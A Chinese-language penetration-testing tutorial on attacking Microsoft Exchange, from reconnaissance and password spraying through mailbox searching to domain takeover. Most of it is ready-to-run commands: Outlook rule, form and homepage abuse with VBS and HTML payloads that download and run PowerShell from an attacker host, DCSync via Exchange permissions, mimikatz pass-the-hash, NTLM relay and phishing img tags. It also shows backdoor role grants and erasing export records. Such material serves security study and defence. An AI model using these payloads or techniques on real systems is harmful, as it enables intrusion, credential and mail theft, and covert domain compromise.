在渗透中,Exchange 是一个重要的攻击面。一方面可以通过它进入域内或者办公网,另一方面拿到它就有很大概率能拿到域管权限。而且,邮箱服务器通常会暴露在互联网上,这意味着攻击者能够直接从互联网对 Exchange 发起攻击。
本文将从发现、爆破、信息收集、提权几个方面介绍 Exchange 的特性、功能滥用及利用手法。
没有凭据的情况下,可以:
1.泄露信息2.爆破邮箱账户3.配合钓鱼进行中继4.RCE
有普通凭据的情况下,可以:
1.导出邮箱列表2.搜索自身敏感邮件3.搜索共享文件4.搜索域信息5.攻击 Outlook 客户端6.配合 SSRF 进行中继7.RCE
有高权限凭据的情况下,可以:
1.全局邮件管理2.攻击域管
1.域内
域内定位 Exchange 很简单。通过 SPN 查询定位,windows 自带 setspn。
setspn -Q exchange*/*
通过 DNS 查询定位。
nslookup -type=srv _autodiscover._tcp
通过 LDAP 查询定位。
`# 查 spn``AdFind.exe -h 192.168.60.112 -b "DC=island,DC=com" -f "|(ServicePrincipalName=exchange*)(ServicePrincipalName=smtp*)(ServicePrincipalName=imap*)(ServicePrincipalName=pop*)" ServicePrincipalName``# 查 Exchange Servers 所有成员``AdFind.exe -h 192.168.60.112 -b "DC=island,DC=com" -bit -f (memberof:INCHAIN:="CN=Exchange Servers,OU=Microsoft Exchange Security Groups,DC=island,DC=com") memberof`
1.域外
通过传统的端口扫描发现 Exchange:25,465,587,2525,80,443
,扫 web titlte 时一定要跟随跳转,默认会跳转到 https://exchange/owa
,此时 title 显示的是 Outlook。
1./owa
返回头
请求 /owa
、/owa/service
等路径,在返回头 X-OWA-Version:
中查看完整的内部版本号,比如 15.1.2375.7
。然后再去 Exchange Server 内部版本号和发布日期[1] 对比具体的发布版本,可以查询到 CU 版本和安全更新版本。
1./owa
网页源码
如果不行,可以右键查看源码,找到 /owa/auth/15.1.2375/themes/resources/xxxx
类似的路径,其中 15.1.2375
是部分内部版本号。这种方式,老版本 Exchange 会返回完整内部版本号,新版本只会返回部分内部版本号,而部分的内部版本号只能确定 CU 版本,无法确定安全更新版本。
1./ecp
爆破版本
在得到部分内部版本号后,可以爆破路径 /ecp/<version here>/exporttool/
获得完整内部版本号,只需爆破最后一位版本号即可。如果存在,返回 200,否则返回 404。
1./ecp
直接返回版本
或者直接访问 /ecp/Current/exporttool/microsoft.exchange.ediscovery.exporttool.application
,下载下来的 xml 文档中会包含完整的内部版本号。
爆破邮箱账户步骤:先确定目标 AD 域名,再爆破用户名,最后密码喷洒。值得一提的是,不是每个域用户都有邮箱账户,邮箱账户需要 Exchange 管理员手动给域用户添加。如果密码爆破成功后出现 未找到 ISLAND\domain_admin 的邮箱。
的提示,则说明该账户未开通邮箱,但这个账户也是有效的域用户账户。
Exchange 不同接口分别支持不同的认证方式:
1.HTTP 直接认证
/ecp
、/owa
接口是直接面向用户的 GUI 页面,通过传统的 HTTP 认证方式进行认证。在没有验证码或者可以绕过的情况下,直接使用 Burp 爆破。
1.HTTP NTLM 认证
/Autodiscover
、/Rpc
、/EWS
、/OAB
、/Mapi
是用于各种应用程序与 Exchange 通信的接口,通过 HTTP NTLM 进行认证。Burp 无法爆破,可以通过 ruler、MailSniper、apt34 泄露的工具 Jason、SprayingToolkit、EBurst 等工具进行爆破。
由于这些接口支持 NTLM 认证,因此也能 pth 域用户账户。甚至,/rpc
接口的 [MS-OXNSPI]
协议还能 pth 域机器账户。
在 Windows 进行 NTLM 认证时,无论输入的凭证是否正确,返回的 ntlmssp
包中都会带上大量系统相关信息:包括 NetBIOS 域名、NetBIOS 机器名、DNS 域名、DNS 机器名等。攻击者需要从 HTTP NTLM 认证的接口泄露 AD 域名,来配合接下来的用户名爆破。
`# 指定要访问的接口,解析返回的 ntlmssp 包``nmap --script http-ntlm-info --script-args http-ntlm-info.root=/ews -p 443 192.168.60.116``nmap --script http-ntlm-info --script-args http-ntlm-info.root=/Autodiscover -p 443 192.168.60.116`` ``# MailSniper.ps1,仅支持 /Autodiscover /ews 两个接口``Invoke-DomainHarvestOWA -ExchHostname 192.168.60.116`
Exchange 存在基于时间的用户名枚举问题,Exchange 2016 版本的表现为:爆破到真实存在的域用户(无论是否开通邮箱账户)时,其响应开始接收时间会更短(不是完整响应时间)。
经过传统的邮箱收集加上一定的高频用户名形成用户名字典后,需要为字典设置三种格式:domain\username
、username
、user@domain
。Exchange 管理员可以任意配置使用一种或多种格式,因此爆破的时候最好带上所有格式。
1.Burp 爆破
在没有验证码或者可以绕过的情况下,用 burp 爆破 /ecp
、/owa
接口,在爆破结果中选择 Intruder -> Columns -> Response received
,查看响应开始接收时间更短的用户名,即存在的域用户。
1.脚本爆破
`# MailSniper.ps1``# 支持 /owa、/Microsoft-Server-ActiveSync``Invoke-UsernameHarvestEAS -ExchHostname 192.168.60.116 -Domain island.com -UserList username.txt -Threads 1 -OutFile owa-valid-users.txt``Invoke-UsernameHarvestOWA -ExchHostname 192.168.60.116 -Domain island.com -UserList username.txt -Threads 1 -OutFile owa-valid-users.txt`
1.SMTP
通过 SMTP 协议枚举:邮箱存在会返回 250,不存在返回 500。但如果目标邮服配置了 Catch-all
邮箱,则所有发往目标邮服的无效邮箱都会被 Catch-all
邮箱接收,即无论邮箱是否存在都会返回 250。
在获得 AD 域名和存在的用户名后,可以通过多个接口爆破 Exchange。
1.Burp 爆破
在没有验证码或者可以绕过的情况下,用 burp 爆破 /ecp
、/owa
接口。
1.脚本爆破
`# EBurst 最推荐``# EBurst 支持所有接口爆破,-C 检查目标开放的接口,再指定存活接口爆破。建议 /ews 或默认``python2 EBurst.py -d 192.168.60.116 -L username.txt -p 123456 -T 10``python2 EBurst.py -d 192.168.60.116 -C`` ``# MailSniper.ps1 仅支持 /OWA /EWS /Microsoft-Server-ActiveSync 接口,推荐 /ews``Invoke-PasswordSprayEWS -ExchHostname 192.168.60.116 -UserList .\username.txt -Password ZS@123qwe -Threads 10 -OutFile owa-sprayed-creds.txt``Invoke-PasswordSprayOWA -ExchHostname 192.168.60.116 -UserList .\username.txt -Password ZS@123qwe -Threads 10 -OutFile owa-sprayed-creds.txt``Invoke-PasswordSprayEAS -ExchHostname 192.168.60.116 -UserList .\username.txt -Password ZS@123qwe -Threads 10 -OutFile owa-sprayed-creds.txt`
获得普通邮箱账户权限后,攻击者可以进行大量的信息收集。
Exchange 存在一个全局地址列表(GAL),所有邮箱地址都位列其中。获得任一邮箱用户凭证后,可以多种方式获取 GAL,即能用于后续钓鱼,也能用于扩大爆破范围。
登录 /owa
后可以查看所有人的邮箱地址,配合 Burp 导出即可。
`ruler-win64.exe --insecure --url https://192.168.60.116/autodiscover/autodiscover.xml --email zhangsan@island.com -u zhangsan -p ZS@123qwe --verbose --debug abk list``ruler-win64.exe --insecure --url https://192.168.60.116/autodiscover/autodiscover.xml --email zhangsan@island.com -u zhangsan --hash 82b6413f42426e0b40e6d0674eb16299 --verbose --debug abk list`
ruler 主要通过 /mapi
模拟 Outlook 通信,通过 /Autodiscover
实现与 Outlook 类似的自动配置能力,ruler 会自动发现 Exchange 域内的域名并访问。但如果攻击者处于域外的话,会因为 DNS 无法解析导致攻击失败,需要攻击者手动配置域名解析。
`# MailSniper.ps1``Get-GlobalAddressList -ExchHostname 192.168.60.116 -username island.com\lisi -password LS@123qwe -OutFile global-address-list.txt`
通过 /EWS
指定搜索条件获取 GAL,类似于爆破,很慢。
/OAB
本身就是地址集合列表的副本。首先需要构造包访问 /Autodiscover
获取具体的 /OAB/xxx/oab.xml
,然后下载其中的 .lzx
文件,最后通过 oabextract
解析后得到其中的 SMTP 地址信息。
顺便一提,/Autodiscover
除了会返回 oab.xml 地址外,还会返回域控地址。
`# impacket``python3 exchanger.py island.com/zhangsan@192.168.60.116 -hashes :82b6413f42426e0b40e6d0674eb16299 nspi list-tables``python3 exchanger.py island.com/zhangsan:ZS@123qwe@192.168.60.116 nspi list-tables -count``python3 exchanger.py island.com/zhangsan:ZS@123qwe@192.168.60.116 nspi dump-tables -guid dd5c6c6e-f050-4fef-b91f-4ac4cb16d5cb`
通过 /RPC
接口配合 [MS-OXNSPI]
和 [MS-NSPI]
协议直接获取 AD 中的地址簿信息,最快。
如果爆出了密码,直接 web端走 /OWA
登录查看。
如果获得了 hash,可以 pth 后 Invoke-SelfSearch
走 /ews
查看:
`# MailSniper.ps1``# 指定 lisi 的账密查询 lisi 的所有邮件``Invoke-SelfSearch -Folder all -Mailbox lisi@island.com -ExchHostname win2012-ex2016.island.com -MailsPerUser 500 -Terms "*password*","*creds*","*credentials*","*测试*","*密码*","*拓扑*","*运维*","*VPN*","*账号*" -OutputCsv lisi-email-search.csv -Remote -User island.com\lisi -Password LS@123qwe`` ``# 用当前会话的默认凭证搜索 zhangsan 的所有邮件``# 配合 mimikatz 实现 pth 后搜索``Invoke-SelfSearch -Folder all -Mailbox zhangsan@island.com -ExchHostname win2012-ex2016.island.com -MailsPerUser 500 -Terms "*password*","*creds*","*credentials*","*测试*","*密码*","*拓扑*","*运维*","*VPN*","*账号*" -OutputCsv zhangsan-email-search.csv`` `
老版本 Exchange 支持查看域内文件共享,且支持移动端通过 /Microsoft-Server-ActiveSync
远程访问网络内部的共享文件。在 Exchange 2010 及其后续版本中,删除了 Outlook 的文件共享权限,但通过 /Microsoft-Server-ActiveSync
接口依然可以。
`# UNC 路径仅支持主机名,不支持 IP 和 FQDN``python2 -m peas 192.168.60.116` `python2 -m peas 192.168.60.116 -u island.com\zhangsan -p ZS@123qwe --check``python2 -m peas 192.168.60.116 -u island.com\zhangsan -p ZS@123qwe --list-unc="\\WIN2012-DC1"`
在实战中,如果已经拿下域机器了,这个手法的使用意义不大。但是如果在域外,或者是直接攻击互联网上的 Exchange,这种手法不失为一种收集共享文件的方法,配合下面的方法收集域内所有主机名再查询共享文件效果更佳。
/rpc
接口支持各种远程调用,其中包括 [MS-OXNSPI]
协议,该协议用于客户端从 Exchange 服务器获取 OAB 数据。Exchange 本身并不存储地址簿数据,而是通过 [MS-NSPI]
协议与域控通信,访问 Active Directory 来获取地址簿数据。
[MS-OXNSPI]
和 [MS-NSPI]
协议都是用于获取地址簿数据的,区别是前者用于客户端与 Exchange 通信,后者用于 Exchange 与域控通信。因此,[MS-NSPI]
也是继 LDAP 和 [MS-DRSR]
(也称为 DcSync 和 DRSUAPI)之后第三个访问 Active Directory 的网络协议。
遗憾的是,[MS-OXNSPI]
和 [MS-NSPI]
并不能获取全部的 Active Directory 属性,而是 X.500 空间集的属性。而且,根据微软文档描述,这两个协议仅用于获取 AD(Active Directory) 中的地址簿数据,而不能访问整个 AD 条目。不过研究人员发现,可以通过爆破 DNT(Distinguished Name Tags)的方式遍历全部 AD 条目,但是依然无法获取额外的 AD 属性。
`# 需要修改 exchanger.py,否则保存的时候可能会报解码错误。``class Exchanger:` `......` `......` `def set_output_file(self, filename):` `self.__outputFileName = filename` `# self.__outputFd = open(self.__outputFileName, 'w+')`` self.__outputFd = open(self.__outputFileName, 'w+', encoding="utf-8") # 添加 encoding="utf-8"`` ``# impacket``python3 exchanger.py island.com/zhangsan:ZS@123qwe@192.168.60.116 nspi dnt-lookup -start-dnt 0 -stop-dnt 100000 -lookup-type FULL -output-file dnt.txt`` `
在实战中,如果已经在域内了,这个手法的使用意义不大,因为 [MS-NSPI]
返回的 X.500 属性不像 AD 中的那么全,不能等同于 LDAP。但是如果在域外或者是直接攻击互联网上的 Exchange,可以搜索 objectSid
来发现域内机器账户,配合 /Microsoft-Server-ActiveSync
遍历主机名查询共享文件。
除了收集信息外,攻击者还可以滥用 Outlook 功能攻击 PC。
Outlook 提供了一项名为"规则和通知"的功能,其允许用户自行设置规则:当用户收发的邮件满足特定条件时,自动以某种方式处理该邮件。比如,在用户收到邮件时,若标题含有 "Tom",则自动将该邮件作为附件转发给某人。
该功能用于帮助用户便捷的管理邮件收发,但处理邮件的动作可以是执行外部程序,导致攻击者可以用其来攻击 Outlook 客户端。
攻击步骤:
1.攻击者已经拥有某个邮箱用户权限2.攻击者在本地登录 Outlook 并创建规则:当收到标题含有 "Tom" 的邮件时,执行 \\vps\shell.exe
3.攻击者给该邮箱用户发送标题含有 "Tom" 的邮件,当用户打开 Outlook 时自动触发规则,访问 UNC 路径,通过 webdav 或 smb 下载并执行恶意程序
不同的 Outlook 客户端实例之间会自动从 Exchange 服务端同步配置,攻击者在本地给目标账户配置的规则会在目标通过 Outlook 登录该账户时自动同步过去,然后自动触发规则,执行恶意程序。据此,ruler 通过 /mapi
接口模拟实现了 Outlook 功能,将上述过程武器化:
`# 增加规则``ruler-win64.exe -insecure --url https://win2012-ex2016.island.com/autodiscover/autodiscover.xml --email zhangsan@island.com --username zhangsan --password ZS@123qwe --debug --verbose add --name "Add Spam" --trigger "Jack" --location \\ip\webdav\psh.exe --send``ruler-win64.exe -insecure --url https://win2012-ex2016.island.com/autodiscover/autodiscover.xml --email zhangsan@island.com --username zhangsan --password ZS@123qwe --debug --verbose add --name "Remove Spam" --trigger "Tom" --location \\ip\webdav\calc.vbs --send`` ``# 发送邮件触发规则``ruler-win64.exe -insecure --url https://win2012-ex2016.island.com/autodiscover/autodiscover.xml --email zhangsan@island.com --username zhangsan --password ZS@123qwe --debug --verbose send --subject "Jack"`` ``# 列出规则``ruler-win64.exe -insecure --url https://win2012-ex2016.island.com/autodiscover/autodiscover.xml --email zhangsan@island.com --username zhangsan --password ZS@123qwe --debug --verbose display`` ``# 删除规则``ruler-win64.exe -insecure --url https://win2012-ex2016.island.com/autodiscover/autodiscover.xml --email zhangsan@island.com --username zhangsan --password ZS@123qwe --debug --verbose delete --id 0100000000000583`
上述过程中,攻击者需要将恶意程序放置在目标能够访问到的位置,所以需要在 vps 上配置 webdav 或 smb。
`# vps 上 apache 开启 webdav``sudo a2enmod dav``sudo a2enmod dav_fs``sudo service apache2 restart``sudo mkdir /var/www/webdav`` ``# vi /etc/apache2/sites-enabled/000-default.conf``Alias /webdav /var/www/webdav``<Location /webdav>` `Options Indexes` `DAV On` `Allow from all`` # AuthType Basic` `# AuthName "webdav"` `# AuthUserFile /etc/apache2/webdav.password` `# Require valid-user``</Location>`
在执行恶意程序时,如果直接放 exe 可执行程序,可能是 webdav 的问题,上线一直失败,改成 vbs 加载一句话可以成功上线。
`# calc.vbs``CreateObject("WScript.Shell").Run "powershell.exe -nop -w hidden -c ""IEX ((new-object net.webclient).downloadstring('http://ip:8080/a'))""",0`
Outlook 中大量对象本质上是 Froms,翻译为窗体或表单。一封邮件,一个任务,一个公告,一个联系人实际上就是一个表单。
用户可以自定义表单,开发工具 -> 设计窗体 -> 标准窗体库 -> 邮件 -> 打开
,在其中可以改变表单样式。甚至可以更进一步,在 窗体 -> 查看代码
处为"打开、转发、删除"等事件添加 VB 代码,攻击者可以借此来攻击 Outlook 客户端。
攻击步骤:
1.攻击者已经拥有某个邮箱用户权限2.攻击者在本地登录 Outlook 并创建恶意表单3.攻击者将该表单发送给该邮箱用户,用户打开、转发、删除邮件时触发代码执行
`# 增加表单``ruler-win64.exe -insecure --url https://win2012-ex2016.island.com/autodiscover/autodiscover.xml --email zhangsan@island.com --username zhangsan --password ZS@123qwe --debug --verbose form add --suffix zs --input ps2cs.vbs`` ``# 发送表单,用户点击时触发代码执行``ruler-win64.exe -insecure --url https://win2012-ex2016.island.com/autodiscover/autodiscover.xml --email zhangsan@island.com --username zhangsan --password ZS@123qwe --debug --verbose form send --suffix zs` ` ``# 列出表单``ruler-win64.exe -insecure --url https://win2012-ex2016.island.com/autodiscover/autodiscover.xml --email zhangsan@island.com --username zhangsan --password ZS@123qwe --debug --verbose form display`` ``# 删除表单``ruler-win64.exe -insecure --url https://win2012-ex2016.island.com/autodiscover/autodiscover.xml --email zhangsan@island.com --username zhangsan --password ZS@123qwe --debug --verbose form delete --suffix zs`
Outlook 可以为每个文件夹设置主页,主页可以是内/外部的 http/https url,目的是让用户自由渲染文件夹样式。
攻击者可以设置恶意主页,在 javascript 脚本中加载 ViewCtl1.OutlookApplication
逃离沙盒,进而调用 Wscript.Shell
创建命令执行。在受害者通过 Outlook 打开"收件箱"文件夹时会自动触发。
攻击步骤:
1.攻击者已经拥有某个邮箱用户权限2.攻击者在本地登录 Outlook 并为收件箱文件夹创建恶意主页3.该邮箱用户打开收件箱时自动触发
`# 设置主页``ruler-win64.exe -insecure --url https://win2012-ex2016.island.com/autodiscover/autodiscover.xml --email zhangsan@island.com --username zhangsan --password ZS@123qwe --debug --verbose homepage add --url http://ip/home.html`` ``# 展示当前主页``ruler-win64.exe -insecure --url https://win2012-ex2016.island.com/autodiscover/autodiscover.xml --email zhangsan@island.com --username zhangsan --password ZS@123qwe --debug --verbose homepage display`` ``# 删除当前主页``ruler-win64.exe -insecure --url https://win2012-ex2016.island.com/autodiscover/autodiscover.xml --email zhangsan@island.com --username zhangsan --password ZS@123qwe --debug --verbose homepage delete`` ``# home.html``<html>``<head>` `<script id=clientEventHandlersVBS language=vbscript>` `Sub window_onload()` `Set Application = ViewCtl1.OutlookApplication` `Set cmd = Application.CreateObject("Wscript.Shell")` `cmd.Run "powershell.exe -nop -w hidden -c ""IEX ((new-object net.webclient).downloadstring('http://ip:8080/a'))""",0` `End Sub` `</script>``</head>`` ``<body>` `<object classid="clsid:0006F063-0000-0000-C000-000000000046" id="ViewCtl1" data="" width="100%" height="100%"></object>``</body>``</html>`
上述攻击 Outlook 客户端的手法都需要拥有一个邮箱用户权限来进行配置,才能在该用户用 Outlook 登录时触发攻击。
微软在 2017 年陆续修复了这些攻击面:默认禁止规则启动应用程序和运行脚本;默认禁止自定义表单执行脚本且需要将每一个自定义表单消息类注册为受信任的表单消息类;默认关闭主页功能。
无论是获取了高权限的域账号,还是获取了 Exchange 服务器权限,都可以对 Exchange 进行管理,Exchange 支持多种方式进行本地、远程管理。
通常创建 Exchange 的那个域账号会被加入 Exchange Organization Administrators
或 Organization Management
组(不同版本组名不同),如果拿到该组成员的凭证,可以使用 /PowerShell
接口对 Exchange 进行远程管理。
`# 设置明文凭证并连接``$User = "island.com\enterprise_admin"``$Pass = ConvertTo-SecureString -AsPlainText EA@123qwe -Force``$Credential = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$Pass``$Session = New-PSSession -ConfigurationName Microsoft.Exchange -ConnectionUri https://win2012-ex2016.island.com/PowerShell -Authentication Kerberos -Credential $Credential``Import-PSSession $Session -AllowClobber`` ``# 测试是否成功``Get-Mailbox`` ``# 删除连接``Remove-PSSession $Session`
如果没有明文密码,只有 Hash,可以用 mimikatz pth。
`mimikatz.exe privilege::debug "sekurlsa::pth /user:enterprise_admin /domain:island.com /ntlm:d81a42dfacbaf5e346eb9a072773309d /run:powershell" exit``$Session = New-PSSession -ConfigurationName Microsoft.Exchange -ConnectionUri https://win2012-ex2016.island.com/PowerShell``Import-PSSession $Session -AllowClobber`
最好域内操作,走代理可能报错。
拿到服务器权限后,有两种方式对 Exchange 进行管理。
1.通过 Exchange Management Shell
进行管理
这是一个封装好的 .ps 脚本,其原理也是使用 /PowerShell
接口对 Exchange 进行远程管理,默认使用当前凭证创建 PSSession。
1.打开 Powershell 加载网络管理单元,不同版本 Exchange 加载语句不同:
`# Exchange 2007``Add-PSSnapin Microsoft.Exchange.Management.PowerShell.Admin;`` ``# Exchange 2010``Add-PSSnapin Microsoft.Exchange.Management.PowerShell.E2010;`` ``# Exchange 2013 & 2016``Add-PSSnapin Microsoft.Exchange.Management.PowerShell.SnapIn;`
通过各种方式连接上 Exchange 管理端后,会自动加载大量的 Exchange Cmdlet
。Exchange 通过基于角色的访问控制(RBAC)进行权限管理,用户拥有相应的角色才可以使用对应的 Exchange Cmdlet
,否则在连接阶段就不会获取没有权限的 Exchange Cmdlet
。下面语句描述如何查看某个 Cmdlet 所需角色,并为用户赋予该角色,让其可以执行该 Cmdlet:
`# 查看所有 Exchange Cmdlet` `Get-ExCommand`` ``# 查看执行某个 Cmdlet 所需的角色``Get-ManagementRole -Cmdlet New-ManagementRoleAssignment`` ``# 给某个用户赋予所需角色,让其可以执行某个 Cmdlet``New-ManagementRoleAssignment -Role "Role Management" -User zhangsan -Name "Role Management Back"`` ``# 查看角色授权是否成功``Get-ManagementRoleAssignment –Role "Role Management"|Format-List`` ``# 删除某个角色授权``Remove-ManagementRoleAssignment -Identity "Role Management Back" -Confirm:$false`
需要注意的是,Get-ManagementRole
和 Get-ManagementRoleAssignment
需要 Role Management
角色,而该角色一般被分配给 Organization Management
角色组。
`# Exchange 管理端添加 Exchange 管理员``Add-RoleGroupMember "Organization Management" -Member zhangsan -BypassSecurityGroupManagerCheck``Add-RoleGroupMember "Exchange Organization Administrators" -Member zhangsan -BypassSecurityGroupManagerCheck`` ``# 域管添加 Exchange 管理员``net groups "Organization Management" zhangsan /DOMAIN /ADD``net groups "Exchange Organization Administrators" zhangsan /DOMAIN /ADD`` ``# 将用户加入 Role Management 组,可以任意添加角色,相当于后门``New-ManagementRoleAssignment -Role "Role Management" -User zhangsan -Name "Role Management Back"`
添加特定的角色后,攻击者就可以进行管理员级别的信息收集。
`# 查看所有邮箱信息,默认显示邮件数量、最后登录时间``Get-Mailbox -ResultSize unlimited | Get-MailboxStatistics`` ``# 查看 zhangsan 的发件箱详情``Get-MessageTrackingLog -Start "01/11/2019 09:00:00" -Sender "zhangsan@island.com" -EventID SEND |Format-Table Timestamp,ClientIp,ClientHostname,EventId,Sender,Recipients,MessageSubject`
两种方式搜索全局邮件,/PowerShell
或 /EWS
。
1.通过 /PowerShell
查询
如果用户拥有 Mailbox Import Export
和 Mailbox Search
角色则可以使用搜索和导出相关的 Cmdlet,老版本 Exchange 中这两个角色默认没有分配给任何用户或角色组,包括 Organization Management
组。在实战中,通常需要先用 Organization Management
组用户登录管理接口,给自己赋予这两个角色,再重新连接自动从远程会话获取相应 Cmdlet。
`# 赋予角色,需要重新连接才能从远程会话获取相应 cmdlet``New-ManagementRoleAssignment -Role "Mailbox Search" -User enterprise_admin` `New-ManagementRoleAssignment -Role "Mailbox Import Export" -User enterprise_admin` ` ``# 删除角色``Remove-ManagementRoleAssignment -Identity "Mailbox Search-enterprise_admin" -Confirm:$false``Remove-ManagementRoleAssignment -Identity "Mailbox Import Export-enterprise_admin" -Confirm:$false`` ``# 导出所有邮箱正文中带 pass 的邮件,localhost 为 Exchange 服务器``Get-Mailbox -OrganizationalUnit Users -Resultsize unlimited |%{New-MailboxexportRequest -Mailbox $_.name -CompletedRequestAgeLimit 0 -ContentFilter {(body -like "*pass*")} -FilePath ("\\localhost\c$\test\"+($_.name)+".pst")}`` ``# 删除导出记录,导出时不加 CompletedRequestAgeLimit 参数会留下导出记录` `Get-MailboxExportRequest|Remove-MailboxExportRequest -Confirm:$false`` ``# 搜索所有邮件,SearchQuery 只支持向后匹配,也可以匹配邮件其他位置比如收件人、发件人、CC 等``Get-Mailbox -OrganizationalUnit Users -Resultsize unlimited |%{Search-Mailbox -Identity $_.name -SearchQuery "pass*" -TargetMailbox "zhangsan" -TargetFolder "outAll" -LogLevel Suppress}`
1.通过 /EWS
查询
如果用户拥有 ApplicationImpersonation
角色则可以模拟其他用户登录 /EWS
,进而通过 /EWS
编程实现搜索所有邮件的功能。在实战中,通常需要先用 Organization Management
组用户登录管理接口,给自己赋予这个角色,再通过 /EWS
搜索邮件。
这里修改了 MailSniper 脚本,优化授权生效时间、新增匹配附件名、优化输出内容、新增指定账密等:
`# MailSniper.ps1``# 搜索所有邮件,需要提供管理员账号给用户授予 ApplicationImpersonation 权限``Invoke-GlobalMailSearch -Folder all -ImpersonationAccount enterprise_admin -ExchHostname win2012-ex2016.island.com -AdminUserName enterprise_admin -AdminPassword EA@123qwe -MailsPerUser 500 -Terms "*password*","*creds*","*credentials*","*测试*","*密码*","*拓扑*","*运维*","*VPN*","*账号*" -OutputCsv global-email-search.csv`
拿到高权限的域账号或 Exchange 服务器权限后,除了可以管理 Exchange 进行邮件搜索外,还可以向域管发起攻击。
在 Exchange 安装完后,域内会添加一个名为 Microsoft Exchange Security Groups
的 OU,其包括两个特殊的组:Exchange Windows Permissions
和 Exchange Trusted Subsystem
,后者隶属于前者。所有的 Exchange 服务器都会加入 Exchange Trusted Subsystem
组,也就是 Exchange 服务器都继承了 Exchange Windows Permissions
组的权限,而该组拥有对域分区的 WriteDacl
权限,且可以继承。因此,在拿下 Exchange 服务器后,可以利用 Exchange 机器账户对域分区添加任意 ACL 进行提权,比如添加 Dcsync
权限导出域内所有 Hash。
`# 查看 Exchange Windows Permissions 对域 NC 有 WriteDacl 权限``AdFind.exe -h 192.168.60.112 -s Base -b "DC=island,DC=com" nTSecurityDescriptor -nosacl -sddl+++ -sddlfilter A;;"WRT PERMS";;;"Exchange Windows Permissions" -recmute`` ``# 拿下 Exchange 服务器权限后,获取机器账户 Hash 并 pth``mimikatz "log" "privilege::debug" "sekurlsa::logonpasswords" "exit"``mimikatz "privilege::debug" "sekurlsa::pth /user:WIN2012-EX2016$ /domain:island.com /ntlm:2d03b02750ee9a3bd9902a370cf67746 /run:cmd" exit`` ``# PowerView.ps1``# pth 后,用 Exchange 机器账户权限修改域分区 ACL,为 zhangsan 添加 Dcsync 权限``# 当然,也可以为 Exchange 机器账户自身添加 Dcsync 权限``Add-DomainObjectAcl -DomainController 192.168.60.112 -TargetDomain island.com -TargetIdentity "DC=island,DC=com" -PrincipalIdentity zhangsan -Rights DCSync -Verbose``Get-DomainObjectAcl -DomainController 192.168.60.112 -Domain island.com -Identity island | ?{$_.SecurityIdentifier -eq "S-1-5-21-65208363-682840273-3768764330-sidofzhangsan"}` `Remove-DomainObjectAcl -DomainController 192.168.60.112 -TargetDomain island.com -TargetIdentity "DC=island,DC=com" -PrincipalIdentity zhangsan -Rights DCSync -Verbose`` ``# 检查是否成功给 zhangsan 添加 Replicating Directory Changes 和 Replicating Directory Changes All 权限``AdFind.exe -h 192.168.60.112 -s Base -b "DC=island,DC=com" nTSecurityDescriptor -nosacl -sddl+++ -sddlfilter A;;;"Replicating Directory Changes";;"zhangsan" -recmute`` ``# 用 zhangsan 的凭证 Dcsync``mimikatz privilege::debug "sekurlsa::pth /user:zhangsan /domain:island.com /ntlm:82b6413f42426e0b40e6d0674eb16299 /run:cmd" exit``mimikatz privilege::debug "lsadump::dcsync /domain:island.com /all /csv /dc:WIN2012-DC1.island.com" exit``python3 secretsdump.py island.com/zhangsan:ZS@123qwe@192.168.60.112 -dc-ip 192.168.60.112 -just-dc-ntlm`
与域控进行 LDAP 通信的时候有许多注意的地方,比如本地走代理,此时是在域外执行的,需要指定域控、域名等;比如普通域用户权限 AdFind 默认查询 ACL 会失败,因为没有权限查询 SACL 导致域控什么也不返回,需要添加 -nosacl
,而 powerview 默认只查询 DACL 所以可以成功。
或者,也可以直接中继 Exchange,让 ntlmrelayx 自动完成提权。
`# Exchange System 权限执行``powershell Invoke-WebRequest http://192.168.60.172 -UseDefaultCredentials`` ``# 内网机器上做中继,自动通过 ACL 进行提权``python3 ntlmrelayx.py -t ldap://192.168.60.112 -smb2support`
Exchange Organization Administrators
或 Organization Management
组对 Exchange Windows Permissions
和 Exchange Trusted Subsystem
组拥有 GenericAll
权限,因此,如果获得了 Organization Management
组成员的权限,可以将任意账户添加至 Exchange Windows Permissions
或 Exchange Trusted Subsystem
组,进而继续通过上述方法提权。
`# 查看 Organization Management 对 Exchange Windows Permissions 或 Exchange Trusted Subsystem 有 GenericAll 权限``AdFind.exe -h 192.168.60.112 -b "DC=island,DC=com" -f "|(name=Exchange Windows Permissions)(name=Exchange Trusted Subsystem)" nTSecurityDescriptor -nosacl -sddl+++ -sddlfilter A;;FC;;;"Organization Management" -recmute`` ``# PowerView.ps1``# 通过 Organization Management 组成员将任意用户添加至 Exchange Windows Permissions 或 Exchange Trusted Subsystem``# 当然,也可以将该组成员自身添加至 Exchange Windows Permissions 或 Exchange Trusted Subsystem``# Add-DomainGroupMember 不支持域外指定域控``Add-DomainGroupMember -Identity "Exchange Windows Permissions" -Members "zhangsan" -Verbose``Get-DomainGroupMember -DomainController 192.168.60.112 -Domain island.com -Identity "Exchange Windows Permissions" -Recurse -Verbose``Remove-DomainGroupMember -Identity "Exchange Windows Permissions" -Members "zhangsan" -Verbose`` ``# 之后就跟 Exchange 机器账户利用方式一样,zhangsan 可以给别人添加 Dcsync 权限,不再赘述`
中继的本质是中间人攻击,攻击者需要欺骗客户端向攻击者控制的服务器发起 NTLM 请求才能发起攻击,被欺骗的客户端可以是域用户账户,也可以是域机器账户。在 Exchange 攻击场景中,攻击者可以通过邮件钓鱼中继域用户,也可以通过漏洞或欺骗强行中继 Exchange 服务器。
在没有任何凭证时,可以通过各种方式实现中间人,但是大多数操作都需要先进入内网。如果目标单位 Exchange 开放在互联网上,那么可以直接外网发送邮件实现中间人。
在邮件中插入如下标签:
`<img src="\\192.168.60.172\blank">``<img src="http://relayubuntu/blank">`
在用户通过 Outlook 打开邮件时:
1.UNC 默认会通过 smb 协议发起 NTLM 认证,但是外网钓鱼的话,目标单位的 smb 流量可能无法出网。2.HTTP 默认不会发起 NTLM 认证,即使服务端对其进行 NTLM 挑战,除非服务端 url 位于服务器的信任网站或内联网列表。Windows 会认为 http://Netbios 形式的 url 处于内联网,域内用户默认有增加 DNS 记录的权限,因此攻击者需要先获取域用户权限并创建 DNS 记录来将恶意服务器"放入"内联网列表。显然,这种方法无法用于外网钓鱼。
